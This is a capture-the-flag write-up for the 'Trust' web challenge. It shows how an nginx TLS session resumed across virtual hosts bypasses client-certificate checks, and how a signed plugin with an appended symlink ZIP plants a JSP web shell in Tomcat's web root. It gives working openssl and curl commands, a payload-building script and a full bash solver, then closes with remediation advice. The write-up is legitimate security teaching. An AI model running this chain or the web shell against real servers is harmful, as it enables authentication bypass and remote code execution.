Trust was a web challenge at WannaGame Championship 2025, where our team blackpinker took first place in the international division. It chains three ordinary-looking configuration and parsing choices into remote code execution, and the first of them is a real nginx vulnerability class rather than a puzzle. This write-up first appeared on HackMD.

Trust: from an untrusted certificate to a shell one nginx front, one TLS session cache, two virtual hosts attacker client.crt / client.key signed by the untrusted CA nginx front ssl_session_cache shared:SSL:10m ssl_session_tickets on public vhost accepts the untrusted CA employee vhost mTLS with the trusted CA, unless the session is resumed Tomcat app POST /api/plugins/upload signature check, then unzip webapps/ROOT/shell.jsp → /readflag 1 handshake 2 TLS 1.3 ticket 3 resume the ticket 4 upload the uploaded plugin: a signed sample with a ZIP appended SIG_START signed payload analytics.plugin SIG_END root → webapps/ROOT (symlink) root/shell.jsp the check finds the last SIG_END and verifies only what precedes it extraction follows the symlink
The chain: a ticket from the public site opens the employee site, and a plugin whose signed part is genuine carries an extra ZIP that writes into the web root.

The setup

One nginx instance fronts two virtual hosts on the same address and port:

  • public.trustboundary.local accepts any client certificate issued by an untrusted CA, and hands out such a certificate and key under /download/.
  • employee.trustboundary.local requires mutual TLS with a certificate from the trusted CA. Behind it, a Tomcat application accepts signed plugins at /api/plugins/upload.

The flag is printed by a SUID /readflag on the application server.

Three bugs

A TLS session cache shared across virtual hosts. Both server blocks run with

ssl_session_cache shared:SSL:10m;
ssl_session_tickets on;

A TLS 1.3 session established on the public host can be resumed on the employee host, and a resumed session does not present a client certificate again: the server takes the earlier handshake's word for it. This is the configuration behind CVE-2025-23419: when several server blocks share an address and port and session resumption is on, client-certificate authentication on one of them can be bypassed with a session made on another.

A signature check that ignores trailing data. PluginUtils.validatePluginSignature scans the file backwards for a SIG_END marker and verifies only the bytes between SIG_START and that marker. Anything appended after a genuine signed plugin is outside the signed region and does not disturb the check, but the extractor still reads it.

An extractor that follows symlinks. extractPlugin restores UNIX symlinks from the archive and does not constrain where they point. A link named root pointing at /usr/local/tomcat/webapps/ROOT, followed by an entry root/shell.jsp, writes a JSP into the live web root.

Exploitation

1. Take the untrusted certificate from the public site.

curl -k --resolve public.trustboundary.local:$PORT:$IP \
  https://public.trustboundary.local:$PORT/download/client.crt -o untrusted_client.crt
curl -k --resolve public.trustboundary.local:$PORT:$IP \
  https://public.trustboundary.local:$PORT/download/client.key -o untrusted_client.key

2. Get a TLS 1.3 ticket from the public host and save the session:

openssl s_client -connect $IP:$PORT -servername public.trustboundary.local \
  -cert untrusted_client.crt -key untrusted_client.key \
  -tls1_3 -sess_out session13.pem -quiet </dev/null

3. Resume it on the employee host. No certificate is sent this time, and the protected site answers:

printf 'GET /health HTTP/1.1\r\nHost: employee.trustboundary.local\r\nConnection: close\r\n\r\n' |
  openssl s_client -connect $IP:$PORT -servername employee.trustboundary.local \
    -tls1_3 -sess_in session13.pem -quiet
# OK - Employee Portal

4. Build the plugin. Start from a signed sample (analytics.plugin), append a ZIP with the symlink and the JSP, and let zip -A fix the archive's offsets so the extractor reads the appended entries:

import io, stat, zipfile

buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
    link = zipfile.ZipInfo("root")
    link.create_system = 3                              # UNIX
    link.external_attr = (stat.S_IFLNK | 0o777) << 16   # a symlink
    z.writestr(link, "/usr/local/tomcat/webapps/ROOT")
    z.writestr("root/shell.jsp", """<%
Process p = Runtime.getRuntime().exec("/readflag");
try (java.io.InputStream is = p.getInputStream()) {
    out.println(new String(is.readAllBytes()));
}
%>""")
open("evil.zip", "wb").write(buf.getvalue())
cat sample-plugins/analytics.plugin evil.zip > payload.plugin
zip -A payload.plugin

5. Upload it over the resumed session as a multipart/form-data POST to /api/plugins/upload. The response is {"success":true,"message":"Plugin uploaded successfully"}: the signature check passed on the genuine part, and the extractor wrote shell.jsp through the symlink.

6. Request the JSP, again over the resumed session, and it prints the flag:

printf 'GET /shell.jsp HTTP/1.1\r\nHost: employee.trustboundary.local\r\nConnection: close\r\n\r\n' |
  openssl s_client -connect $IP:$PORT -servername employee.trustboundary.local \
    -tls1_3 -sess_in session13.pem -quiet

The whole solver

#!/usr/bin/env bash
# Requirements: curl, openssl, python3, zip.
set -euo pipefail

HOST=challenge.cnsc.com.vn
PORT=32734
PUBLIC_SNI=public.trustboundary.local
EMP_SNI=employee.trustboundary.local
IP=$(getent ahostsv4 "$HOST" | awk 'NR==1 {print $1}')
WORKDIR=/tmp/trustboundary-$$
mkdir -p "$WORKDIR"

fetch_creds() {
  curl -ks --resolve "$PUBLIC_SNI:$PORT:$IP" \
    "https://$PUBLIC_SNI:$PORT/download/client.crt" -o "$WORKDIR/untrusted_client.crt"
  curl -ks --resolve "$PUBLIC_SNI:$PORT:$IP" \
    "https://$PUBLIC_SNI:$PORT/download/client.key" -o "$WORKDIR/untrusted_client.key"
}

get_ticket() {
  openssl s_client -connect "$IP:$PORT" -servername "$PUBLIC_SNI" \
    -cert "$WORKDIR/untrusted_client.crt" -key "$WORKDIR/untrusted_client.key" \
    -tls1_3 -sess_out "$WORKDIR/session13.pem" -quiet </dev/null
}

craft_payload() {
  python3 - "$WORKDIR" <<'PY'
import io, stat, zipfile, pathlib, sys
wd = pathlib.Path(sys.argv[1])
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
    zi = zipfile.ZipInfo("root")
    zi.create_system = 3
    zi.external_attr = (stat.S_IFLNK | 0o777) << 16
    z.writestr(zi, "/usr/local/tomcat/webapps/ROOT")
    z.writestr("root/shell.jsp", """<%@ page import="java.io.*" %>
<%
Process p = Runtime.getRuntime().exec("/readflag");
try (java.io.InputStream is = p.getInputStream()) {
    out.println(new String(is.readAllBytes()));
}
%>
""")
(wd / "evil.zip").write_bytes(buf.getvalue())
PY
  cat sample-plugins/analytics.plugin "$WORKDIR/evil.zip" > "$WORKDIR/payload.plugin"
  zip -A "$WORKDIR/payload.plugin" >/dev/null
}

build_request() {
  python3 - "$WORKDIR" <<'PY'
from pathlib import Path
import sys
wd = Path(sys.argv[1])
payload = (wd / "payload.plugin").read_bytes()
boundary = "---------------------------735323031399963166993862150"
body = b"".join([
    f"--{boundary}\r\n".encode(),
    b'Content-Disposition: form-data; name="plugin"; filename="exploit.plugin"\r\n',
    b"Content-Type: application/octet-stream\r\n\r\n",
    payload,
    b"\r\n",
    f"--{boundary}--\r\n".encode(),
])
head = (
    b"POST /api/plugins/upload HTTP/1.1\r\n"
    b"Host: employee.trustboundary.local\r\n"
    b"Content-Type: multipart/form-data; boundary=" + boundary.encode() + b"\r\n"
    b"Content-Length: " + str(len(body)).encode() + b"\r\n"
    b"Connection: close\r\n\r\n"
)
(wd / "upload_request.txt").write_bytes(head + body)
PY
}

upload_payload() {
  openssl s_client -connect "$IP:$PORT" -servername "$EMP_SNI" \
    -tls1_3 -sess_in "$WORKDIR/session13.pem" -quiet < "$WORKDIR/upload_request.txt"
}

trigger_shell() {
  printf 'GET /shell.jsp HTTP/1.1\r\nHost: employee.trustboundary.local\r\nConnection: close\r\n\r\n' |
    openssl s_client -connect "$IP:$PORT" -servername "$EMP_SNI" \
      -tls1_3 -sess_in "$WORKDIR/session13.pem" -quiet
}

fetch_creds
get_ticket
craft_payload
build_request
upload_payload
trigger_shell
W1{C3RTS_m34N_NOTHINg-w1THOut_prOp3r_U54g3_PlS_t4k3-lt-IN_M1ND9}

Each of the three steps fails against a configuration that is not unusual to write.

  • Keep authentication domains apart at the TLS layer. Upgrade nginx to a release with the CVE-2025-23419 fix (1.26.3 or 1.27.4 and later). Independently of the version, a server block that requires client certificates should not share a session cache or ticket keys with one that does not: give it its own ssl_session_cache and ssl_session_ticket_key, or turn resumption off there with ssl_session_tickets off and ssl_session_cache off.
  • Sign the whole file, and reject what is not signed. A detached or trailing signature should cover every byte the parser will read. Checking that the signed region ends at the end of the file closes this bypass outright.
  • Extract archives as data, not as a file system. Refuse symlink and hard-link entries, resolve every entry's path, and reject any that lands outside the extraction directory. The web root should not be writable by the application user in the first place.